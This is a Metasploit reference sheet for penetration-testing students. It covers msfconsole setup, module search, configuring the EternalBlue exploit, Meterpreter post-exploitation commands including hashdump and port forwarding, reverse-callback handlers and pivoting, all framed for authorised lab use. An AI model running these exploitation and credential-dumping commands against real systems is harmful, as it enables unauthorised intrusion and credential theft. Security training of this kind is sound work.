| Field | Detail |
|---|---|
| Summary | Exploit framework — run exploits, manage sessions, post-ex |
| Category | Exploitation framework |
| Phase | exploitation, post-exploitation |
| Interface | CLI (msfconsole) |
| Platform | Linux, Windows, macOS |
| Licence | Open source (BSD); Metasploit Pro is commercial |
| Docs | https://docs.metasploit.com/ |
| Related | Nmap, Nessus, Netcat |
Modular framework for running and managing exploits, auxiliary scanners and post-exploitation modules against authorised targets. Pre-installed on Kali. This sheet covers navigating the framework and managing sessions — treat payload generation and any destructive module as something you only run on lab machines you own, under a signed scope.
⚠️ Warning — Scope & exams Only run modules against systems you are authorised to test. Some certs (e.g. OSCP) restrict Metasploit — learn the manual equivalents of anything you rely on it for.
Start-up & database
sudo msfdb init # first run: set up PostgreSQL DB
msfconsole -q # start quietly
msf6 > db_status # confirm DB connected
Workspaces keep engagements separate:
workspace # list
workspace -a msc-lab1 # add
workspace msc-lab1 # switch
workspace -d old # delete
Pulling recon in
db_nmap -sV -p- 10.10.10.5 # runs nmap and stores results in the DB
db_import scan.xml # import Nmap XML or a .nessus export
hosts # discovered hosts
services -p 445 # services filtered by port
vulns # imported vulnerabilities
creds # stored credentials
hosts -R # populate RHOSTS from the hosts table
Importing a Nessus .nessus file links findings to the modules that address them — a tidy way to go from "scanner says vulnerable" to "verify it manually".
Module types
| Type | Purpose |
|---|---|
exploit/ |
Exploit a vulnerability, delivers a payload |
auxiliary/ |
Scanners, fuzzers, enumeration — no payload |
post/ |
Run against an existing session (enum, pivoting) |
payload/ |
What runs on the target once code executes |
encoder/, nop/, evasion/ |
Supporting modules |
Finding & configuring modules
search type:exploit platform:windows smb
search cve:2017-0144
use exploit/windows/smb/ms17_010_eternalblue # or: use 0 (index from last search)
info # description, targets, references, disclosure date
show options # required settings
show payloads # compatible payloads
show targets
set RHOSTS 10.10.10.5
set LHOST tun0 # interface name works — handy on VPN labs
setg LHOST tun0 # global, persists across modules
check # is the target vulnerable? (if the module supports it)
run # or: exploit; run -j for a background job
back # leave the module
💡 Tip — "Exploit completed, but no session was created" Almost always a wrong
LHOSTorLPORT, or the payload can't reach you. On HTB/THM/uni labsLHOSTis usually your VPN interface (tun0), noteth0. Prefer thecheckcommand before firing anything.
Sessions & jobs
sessions -l # list
sessions -i 1 # interact
background # (or Ctrl+Z) background the current session
sessions -u 1 # upgrade a basic shell to Meterpreter
sessions -k 1 # kill
jobs -l / jobs -k 0 # background jobs / listeners
Meterpreter — common commands
sysinfo / getuid / getpid
ps # process list
migrate <pid> # move into a more stable process
shell # drop to an OS shell (exit returns to Meterpreter)
upload / download <path> # move files
ipconfig / route / arp # host networking (useful before pivoting)
run post/multi/recon/local_exploit_suggester
portfwd add -l 8080 -p 80 -r 172.16.0.10 # forward a local port to an internal host
local_exploit_suggester is the safe, standard first move once you have a session — it maps the host against privesc modules without firing them.
Catching a connection (multi/handler)
For receiving a callback from a payload delivered by other means:
use exploit/multi/handler
set payload <same payload you deployed>
set LHOST tun0
set LPORT 4444
run -j
The handler's payload setting must match whatever you deployed, byte for byte, or the session won't form.
Quality of life
spool /path/msf.log # log all console output to a file
loot / creds / notes # review what you've gathered
save # persist datastore between sessions
resource script.rc # replay a list of commands
connect 10.10.10.5 80 # built-in netcat-style client
More msfconsole
setg RHOSTS 10.10.10.0/24 ; setg LHOST tun0 # globals persist across modules
search type:exploit platform:windows cve:2021 rank:excellent
show missing / options / advanced # required vs all settings
run -j ; jobs -l ; jobs -k <id> # background jobs (handlers)
sessions -C "sysinfo" # run a command on ALL sessions
sessions -u <id> # upgrade a shell to Meterpreter
route add 172.16.0.0 255.255.255.0 <sid> # pivot routing for MSF modules
use auxiliary/server/socks_proxy # SOCKS for proxychains (see Pivoting)
creds ; loot ; notes # the workspace database
db_nmap -sV 10.10.10.5 ; db_import scan.xml # scan into / import to the DB
makerc out.rc ; resource out.rc # record / replay commands
Quick handler one-liner:
msfconsole -q -x "use exploit/multi/handler; set payload <p>; set LHOST tun0; set LPORT 4444; run -j"
Kill-chain usage
Exploitation
use exploit/windows/smb/ms17_010_eternalblue ; set RHOSTS 10.10.10.5 ; set LHOST tun0 ; run
Post-exploitation
# in the meterpreter session:
getuid ; hashdump ; run post/multi/recon/local_exploit_suggester ; sessions -u <id>
Where it fits
Nmap / Nessus find and prioritise → Metasploit check confirms exploitability → verify the impact manually → record in loot/notes → write it up. Metasploit is for confirming and demonstrating a finding under scope, not a substitute for understanding the underlying vulnerability.